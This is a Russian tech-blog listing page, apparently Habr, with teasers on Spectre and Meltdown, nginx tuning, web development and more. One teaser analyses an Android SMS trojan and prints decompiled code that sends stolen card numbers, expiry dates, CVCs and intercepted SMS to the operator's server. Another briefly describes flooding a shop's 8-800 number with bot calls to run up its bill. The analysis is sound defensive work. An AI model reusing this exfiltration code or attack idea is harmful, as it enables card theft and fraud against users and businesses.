• Новогодние подарки, часть вторая: Spectre

      Часть первая: Meltdown.

      Несмотря на всю мощь уязвимости Meltdown, принесённое этим Новым годом счастье не было бы полным, если бы не вторая часть открытия, не ограничивающаяся процессорами Intel — Spectre.

      Если говорить очень-очень коротко, то Spectre — принципиально схожая с Meltdown уязвимость процессоров в том смысле, что она тоже представляет собой аппаратную особенность и эксплуатирует непрямые каналы утечки данных. Spectre сложнее в практической реализации, но зато она не ограничивается процессорами Intel, а распространяется — хоть и с нюансами — на все современные процессоры, имеющие кэш и механизм предсказания переходов. То есть, на все современные процессоры.

      Строго говоря, Spectre не является одной уязвимостью — уже на старте заявлены два различных механизма (CVE-2017-5753 и CVE-2017-5715), а авторы отмечают, что может быть ещё и много менее очевидных вариантов.

      В основе своей Spectre похожа на Meltdown, так как также базируется на том факте, что в ходе спекулятивного выполнения кода процессор может выполнить инструкции, которые он не стал бы выполнять при условии строго последовательного (неспекулятивного) вычисления, и, хотя в дальнейшем результат их выполнения отбрасывается, его отпечаток остаётся в процессорном кэше и может быть использован.
      Читать дальше →
    • Новогодние подарки, часть первая: Meltdown

        Да, я знаю, что это уже третий материал на GT/HH по данной проблеме.

        Однако, к сожалению, до сих пор я не встречал хорошего русскоязычного материала — да в общем и с англоязычными, чего уж тут греха таить, та же проблема, там тоже многих журналистов изнасиловали учёные — в котором внятно раскладывалось бы по полочкам, что именно произошло 3 января 2018 года, и как мы будем с этим жить дальше.

        Попробую восполнить пробел, при этом и не слишком влезая в глубины работы процессоров (ассемблера не будет, тонких подробностей постараюсь избегать там, где они не нужны для понимания), и описывая проблему максимально полно.

        Тезисно: в прошлом году нашли, а в этом опубликовали информацию о самой серьёзной ошибке в процессорах за все десятилетия их существования. В той или иной степени ей подвержены все процессоры, используемые в настоящее время в настольных компьютерах, серверах, планшетах, смартфонах, автомобилях, самолётах, поездах, почте, телефоне и телеграфе. То есть — вообще все процессоры, кроме микроконтроллеров.

        К счастью, подвержены они ей в разной степени. К несчастью, самый серьёзный удар пришёлся на самые распространённые процессоры — Intel, причём затронул он абсолютно все выпускающиеся и практически все эксплуатируемые (единственным исключением являются старые Atom, выпущенные до 2013 года) процессоры этой компании.
        Читать дальше →
      • Как перестать отлаживать асинхронный код и начать жить

          Андрей Саломатин ( filipovskii_off )


          Андрей Саломатин

          Сегодня каждый день появляются новые языки программирования — Go, Rust, CoffeeScript — все, что угодно. Я решил, что я тоже горазд придумать свой язык программирования, что миру не хватает какого-то нового языка…

          Дамы и господа, я представляю вам сегодня Schlecht!Script — чумовой язык программирования. Мы все должны начать им пользоваться прямо сейчас. В нем есть все то, к чему мы привыкли — в нем есть условные операторы, есть циклы, есть функции и функции высших порядков. В общем, в нем есть все, что нужно нормальному языку программирования.

          Что в нем не очень обычно, что может даже оттолкнуть, на первый взгляд, — это то, что в Schlecht!Script функции имеют цвет.
          Читать дальше →
        • Nginx на стероидах — расширяем функционал с помощью LUA

            Для обеспечения работы всех наших внешних продуктов мы используем популярный nginx. Это быстро и это надежно. Проблем с ним почти нет. Наши продукты также постоянно развиваются, появляются новые сервисы, добавляется новый функционал, расширяется старый. Аудитория и нагрузка только растет. Сейчас мы хотим рассказать о том, как мы ускорили разработку, неплохо увеличили производительность и упростили добавление в наши сервисы этого нового функционала, при этом сохранив доступность и отказоустойчивость затронутых приложений. Речь пойдет о концепции “nginx as web application”.
            А именно, о сторонних модулях (в основном LUA), позволяющих делать совершенно магические вещи быстро и надежно.
            image
            Читать дальше →
          • Ресайз картинок в браузере. Все очень плохо

              Если вы когда-нибудь сталкивались с задачей ресайза картинок в браузере, то вы наверное знаете, что это очень просто. В любом современном браузере есть такой элемент, как холст (<canvas>). На него можно нанести изображение нужных размеров. Пять строчек кода и картинка готова:

              function resize(img, w, h) {
                var canvas = document.createElement('canvas');
                canvas.width = w;
                canvas.height = h;
                canvas.getContext('2d').drawImage(img, 0, 0, w, h);
                return canvas;
              }
              

              Из холста картинку можно сохранить в JPEG и, например, отправить на сервер. Можно было на этом закончить статью, но сперва давайте взглянем на результат. Если вы поставите рядом такой холст и обычный элемент <img>, в который загружена та же картинка (исходник, 4 Мб), то вы увидите разницу.

              img
              Читать дальше →
            • Как мы увеличили отзывчивость приложения



                Почти любое современное приложение не обходится без загрузки картинок из сети и мы, Surfingbird, не исключение. Однако, нельзя просто загружать картинки последовательно, потому что, если пользователь перемотает пару экранов, ему придётся ждать пока загрузятся предыдущие изображения, которые уже и не нужны.
                Поэтому, для увеличения отзывчивости приложения и снижения времени ожидания пользователя, мы применили несколько приёмов, о которых и хотим сейчас рассказать.
                Читать дальше →
                • +33
                • 19.7k
                • 9
              • FISCHERTECHNIK: хемотроника, ионисторы, электрохимические суперконденсаторы внутри детского конструктора для программистов

                  В детстве я не расставался с конструкторами. У меня их было 2 типа: аналог LEGO (пластмассовый и с пупырышками) и металлический с болтиками. После поста на Хабре, я понял, насколько скудный был в те времена выбор. Пару недель назад мембер хакспейса Костя Костюк подсказал мне, что в Москве есть люди, которые занимаются продвижением и обучением FISCHERTECHNIK.


                  (на фото: Электромобиль с заправочной станцией и водородный топливный элемент, солнечная батарея)

                  В Германии вокруг этого конструктора сложилось свое сообщество, они гордятся своим изобретателем и ставят свои рекорды.
                  Видео

                  Чем понравился мне этот конструктор — хардкорностью научно-технической серьезностью и отсылками ко множеству реальных механизмов/устройств (от принтера, CD-привода и механизмов Леонардо да Винчи, до шаговых экскаваторов, роботов и электромобилей). В наборы входит и контроллер с графической средой программирования, что позволяет учить детей основам алгоритмов и программирования.

                  Под катом немного про автомобиль на водородном топливном элементе (из конструктора «Экологическая
                  энергетика»
                  + «Топливный элемент»), про изобретателя конструктора и короткий обзор существующих в Москве наборов для конструирования (можно только позавидовать тем гикам, кому сейчас 8+ лет, ибо на новый год их ждут такие подарки).


                  (Осторожно! Под катом боль за бесцельно прожитые годы)
                  Читать дальше →
                • Строим роботанк с управлением по Wifi, камерой, пушкой, блекджеком и т.д

                    image

                    Всем привет. У меня таки возникло непреодолимое желание поделиться с миром своим достижением. Достижением является танк, который рулится по WiFi с геймпада, транслирует на пульт видео в реальном времени, передает с пульта и на пульт звук, а также имеет пушку с лазерным прицелом, из которой можно в кого-нибудь пострелять.

                    Этот пост будет первым тестовым, дабы понять, интересно ли такое кому-нибудь, кроме меня. В нем опишу общее строение, используемые технологии и устройства.

                    UPD: добавлено видео.

                    Читать дальше →
                  • Новый для рунета формат социальных новостей


                      Случайно наткнулся на удивительный сервис surfingbird.ru (не мой, почему авторы не написали на хабр — не знаю, но догадываюсь).

                      В отличие от Reddit-подобных позволяет одновременно и просматривать сайт (в iframe) и делать с ним действия — одобрять, осуждать, пропускать, комментировать, заносить в избранное, делиться на сторонних сайтах.

                      Сервис вместо главной страницы с рейтингом использует собственный алгоритм нахождения ссылки интересной конкретному пользователю на основе его предыдущих оценок.

                      Что особенно понравилось простой и ненавязчивый интерфейс. Практически ничего лишнего. Возможность читать интересные ссылки не натыкаясь на одну и ту же заметку по много раз. Прочитав и оценив заметку тебе её больше не покажут, если сам не заглянешь в оценённые.

                      У сайта есть блог, кое-что из него достойно отдельного поста на хабре. Например об использовании Google Chrome для сервиса создания скриншотов веб-страниц.

                      Прошу строго не судить, в комментариях вносить дополнения и поправки к заметке — буду обновлять заметку. Думаю этот сервис вполне заслуживает упоминания на Хабре.
                    • Как я фотоаппарат покупал



                        Не знаю, сколько владельцев магазинов никогда не пробовали купить товары у себя же. Ну и, вообще, одна из лучших иллюстраций того, как можно собирать практический опыт для своего бизнеса – это наступание на грабли при обычной попытке что-то купить. Сейчас расскажу просто фееричную историю покупки камеры, в которой прекрасно всё – начиная от хамящих операторов, доставки без документов о продаже и заканчивая курьерами, продалбывающими документы.

                        Итак, началось всё с обзвона условно-доступных магазинов: их нашлось около десятка.

                        Дыра 8-800


                        У нескольких магазинов стоит автоответчик на 8-800 — это хорошая дыра для атаки на переполнение бюджета. Уязвимость давно описана – конкуренты могут делать ботом четырёхсекундные звонки на номер 8-800, и, не дожидаясь живого оператора, класть трубку. За 800 платит владелец (магазин), поэтому в конце месяца при таком раскладе может приехать большой счёт. Я почти уверен, что грамотный админ отследит такие ситуации – но не уверен, он есть у маленьких магазинов. Собственно, мы сами узнали об этом из топика на Хабре и сразу закрыли дыру.
                        Проверьте, как у вас.
                        Читать дальше →
                      • Как я позорно деактивировал ботнет

                          image

                          Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
                          Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

                          Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

                          Исследование APK


                          Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

                          Итак, что умеет этот троян:
                          • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
                          • sent&&& — отправка заданных СМС-сообщений с сервера
                          • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
                          • sms_stop&&& — отмена перехвата СМС-сообщений
                          • ussd&&& — USSD-запрос
                          • call_1&&& — установка и отмена безусловной переадресации

                          Немного кода из моих заметок
                          protected HttpRequestBase a()
                              {
                                  try
                                  {
                                      HttpPost httppost = new HttpPost(d());
                                      ArrayList arraylist = new ArrayList();
                                      arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
                                      arraylist.add(new BasicNameValuePair("number", b));
                                      arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
                                      arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
                                      arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
                                      httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
                                      return httppost;
                                  }
                                  catch(UnsupportedEncodingException unsupportedencodingexception)
                                  {
                                      unsupportedencodingexception.printStackTrace();
                                  }
                                  return null;
                              }
                          
                              protected String d()
                              {
                                  return new String((new StringBuilder()).append(a).append("set_card.php").toString());
                              }
                          
                          
                          
                          
                          
                          
                              protected HttpRequestBase a()
                              {
                                  try
                                  {
                                      HttpPost httppost = new HttpPost(d());
                                      ArrayList arraylist = new ArrayList();
                                      arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
                                      arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
                                      httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
                                      return httppost;
                                  }
                                  catch(UnsupportedEncodingException unsupportedencodingexception)
                                  {
                                      unsupportedencodingexception.printStackTrace();
                                  }
                                  return null;
                              }
                          
                              protected String d()
                              {
                                  return new String((new StringBuilder()).append(a).append("get.php").toString());
                              }
                          
                          
                          
                          
                              protected HttpRequestBase a()
                              {
                                  try
                                  {
                                      JSONObject jsonobject = new JSONObject();
                                      jsonobject.put("text", c);
                                      jsonobject.put("number", d);
                                      jsonobject.put("date", e);
                                      HttpPost httppost = new HttpPost(d());
                                      ArrayList arraylist = new ArrayList();
                                      arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
                                      arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
                                      httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
                                      return httppost;
                                  }
                                  catch(UnsupportedEncodingException unsupportedencodingexception)
                                  {
                                      unsupportedencodingexception.printStackTrace();
                                  }
                                  catch(JSONException jsonexception)
                                  {
                                      jsonexception.printStackTrace();
                                  }
                                  return null;
                              }
                          
                              protected String d()
                              {
                                  return new String((new StringBuilder()).append(a).append("load_sms.php").toString());
                          


                          Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
                          Читать дальше →
                        • Раскрываем возможности map в nginx

                          map — мощная директива, которая может сделать ваши конфиги простыми и понятными.
                          Возможно, это самая недооцененная директива, из за того, что не все знают всех её возможностей.
                          Она в компактной форме помогает обрабатывать переменные, GET параметры, заголовки, куки и наборы бекендов (upstream).
                          Попробую раскрыть её возможности хабрапользователям.
                          Раскрыть возможности map
                          • +91
                          • 81.6k
                          • 8
                        • Ускоряем Nginx за 5 минут

                            image
                            Попытайтесь повторить это сами

                            Как правило, настроенный должным образом сервер Nginx на Linux, может обрабатывать 500,000 — 600,000 запросов в секунду. Но этот показатель можно весьма ощутимо увеличить. Хотел бы обратить внимание на тот факт, что настройки описанные ниже, применялись в тестовой среде и, возможно, для ваших боевых серверов они не подойдут.

                            Минутка банальности.

                            yum -y install nginx
                            

                            На всякий пожарный, создадим бэкап исходного конфига.

                            cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.orig
                            vim /etc/nginx/nginx.conf
                            

                            А теперь можно и похимичить!
                            Бдыжь-бдыжь
                          • Мошеннические методы монетизации в free-to-play играх

                            • Translation
                            Примечание переводчика: После публикации статьи с автором связался коммерческий директор из King.com, создателя Candy Crush Saga, и прояснил несколько моментов, после чего автор добавил пару замечаний. Добавленные абзацы отмечены курсивом.

                            Принудительная монетизация


                            Модель принудительной монетизации основывается на уловках, с помощью которых можно заставить человека совершить покупку с неполной информацией, или сокрытии этой информации так, что технически она остаётся доступной, но мозг потребителя не улавливает эту информацию. Сокрытие покупки может быть осуществлено с помощью простой маскировки связи между действием и ценой, как я писал в статье Системы контроля в F2P.

                            Согласно исследованиям, добавление даже одной промежуточной валюты между потребителем и реальными деньгами, например «игровых самоцветов» (премиальная валюта), делает потребителя гораздо менее подготовленными к оценке стоимости сделки. Лишние промежуточные предметы, я называю их «наслоения», делают для мозга оценку ситуации очень сложной, особенно под напряжением.

                            Этот дополнительный стресс часто подаётся в форме того, что Роджер Дики из Zynga называет «весёлыми мучениями». Приём заключается в том, чтобы поставить потребителя в очень неудобное или неприятное положение в игре, а потом предложить ему убрать эти «мучения» в обмен на деньги. Эти деньги всегда замаскированы в слоях принудительной монетизации, поскольку потребитель, столкнувшийся с «реальной» покупкой, скорее всего не поведётся на трюк.
                            Читать дальше →
                          • Вся правда о UTF-8 флаге

                            • Tutorial


                            Распространённое заблуждение состоит в том, что строки символов, в отличие от строк байтов, имеют UTF-8 флаг установленным.
                            Многие догадываются, что если данные являются ASCII-7-bit, то UTF-8 флаг просто не важен.

                            Однако, на самом деле, он может быть установлен или сброшен, как и у символов, так и абсолютно произвольных бинарных данных.

                            Читать дальше →
                          • «Про ИТ-стартапы и венчурное финансирование», или «Как я за булкой ходил»

                            Рыбой и морем
                            Пахнет рыбак.
                            В булочной только
                            Не пахнет никак!

                            (по мотивам детского стихотворения)

                            От автора: ниже в художественной форме представлены мои собственные впечатления от процесса поиска венчурного финансирования для одного ИТ-стартапа. Все совпадения с реальными именами и компаниями — случайны, все выводы в результате прочтения этого текста — на совести читателя.

                            Однажды утром я вышел на улицу, чтобы купить к завтраку булку…
                            Читать дальше →
                          • Адаптивный веб-дизайн на практике

                              Мы уже писали о методах (Mobile First и Response Web Design), которые используем при разработке нашего сервиса. В этой статье я хочу поделиться с вами нашим опытом. То, что в теории кажется простым, на практике порой оборачивается кошмаром. Речь пойдет о том, как нам удается создавать универсальный веб-сервис, способный работать на большом количестве устройств.
                              Читать дальше →
                            • Функциональное программирование для всех

                              • Translation

                              Доброго времени суток. Это статья — перевод заинтересовавшего меня поста в блоге аспиранта Университета штата Нью-Йорк в Стоуни-Брук. Статья в доступной форме описывает основные концепции функционального программирования, их преимущества и недостатки. Думаю она будет полезна широкому кругу читателей, которые сомневаются, нужно ли им углубляться в мир функционального программирования или нет. Пожелания, предложения и замечания по переводу и терминологии принимаются по личной почте.

                              Мнение переводчика может иногда не совпадать с мнением автора, но переводить статью было крайне занимательно.

                              UPD: альтернативный вариант перевода вы можете найти на rsdn (спасибо flamingo за ссылку).
                              Читать дальше →
                            • Современные веб-формы: еще несколько тонкостей

                                Большинство людей воспринимают мир с помощью глаз, поэтому визуальный дизайн имеет огромное значение при создании фронтендов веб-приложений. Но так ли полезны все эти рюшечки и «карамельки», которыми любят насытить интерфейс современные веб-дизайнеры? В данной статье я хотел бы рассказать о типичных ошибках при дизайне веб-форм, а также поделиться некоторыми секретами создания правильного интерфейса.



                                Потратить время на чтение